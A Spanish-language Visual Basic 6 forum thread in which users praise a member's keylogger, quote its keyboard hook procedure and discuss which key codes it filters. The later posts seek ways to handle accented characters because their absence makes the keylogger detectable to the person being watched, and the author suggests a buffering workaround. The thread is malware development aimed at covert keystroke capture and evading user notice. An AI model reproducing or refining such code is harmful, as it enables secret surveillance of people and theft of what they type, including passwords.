Visual Basic Foro
Programación => Visual Basic 6 => Mensaje iniciado por: raul338 en Abril 20, 2010, 10:10:55 am
-
Hola Leandro
Estaba observando tu gran codigo del keylogger, que funciona bien y esta bueno, pero.....leyendolo me encontre con algo que no entendi y no encontre nada en internet :-\
Private Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
On Error Resume Next
Select Case wParam
Case WM_KEYDOWN
If lParam <> 222 And lParam <> 186 And lParam <> 162 And lParam <> 20 Then
Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&)
End If
Case WM_SYSKEYDOWN
If lParam = 162 Or lParam = 165 Or lParam = 50 Then
Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&)
End If
End Select
End Function
Mi unica pregunta hasta ahora es porque lParam no pueden ser esos numeros, que significan esos numeros? segun msdn el lParam es un puntero a una estructura, entonces como lo puede tomar como numero? jeje... no entendi nada de eso.... podrias explicarlo? (o dar algunas referencias para leer?)
-
hola son algunas teclas que si las paso se las bloquea al usuario por ejemplo el acento.
WM_KEYDOWN
222 = ´
186 = `
162 = Ctrl
22 = no me acuerdo ???
WM_SYSKEYDOWN
162 = Ctrl
165 =Alg Gr
50 = @
creo que hay algunos mas que deberia filtrar pero bueno es para zafar.
Saludos
-
Hola! concuerdo, gran keylogger :)
justo tengo problemas con los acentos,
el usuario espera ver "acción" pero ve "accion" y eso hace el codigo detectable
logre atinarle ? a que el 186 o 222 es cuando el usuario presiona el acento, con alguna vocal,
le puse:
If WM_KEYDOWN = 186 , 222 then
do events
exit function
endif
y, aunque eso funciona al momento que tengo el visual basic 6 abierto y ejecutandose,
es decir, si se escriben los acentos, en el bloc de notas ( donde estoy probando )
cuando hago el ejecutable y lo pongo a funcionar, otra vez no se escriben los acentos,
solamente aparece la vocal,
por favor, podrias indicarnos como, o modificar el codigo, para que acepte acentos?
-
hola, mira había intentado solucionar eso, y lo solucione en partes y porque digo en partes, en el block de notas si funcionaba pero no en una planilla de word, al parecer trabajan distintos con el block de notas cuando encontraba el acento lo almacenaba en una variable, luego y no enviaba el msg, luego cuando entraba otra letra envia el acento y la letra, con eso se soluciona para el block de notas, pero "creo" almenos no indague mucho en la planilla de word no envia el acento sino mas bien creo que ya envia el caracter ya armado es decir en vez de enviar ( ´ a ) envia el caracter 160 asi que lo que se debería hacer es filtrar esos caracteres o almacenarlos en un bufer y luegos enviar el msg a la ventana edit.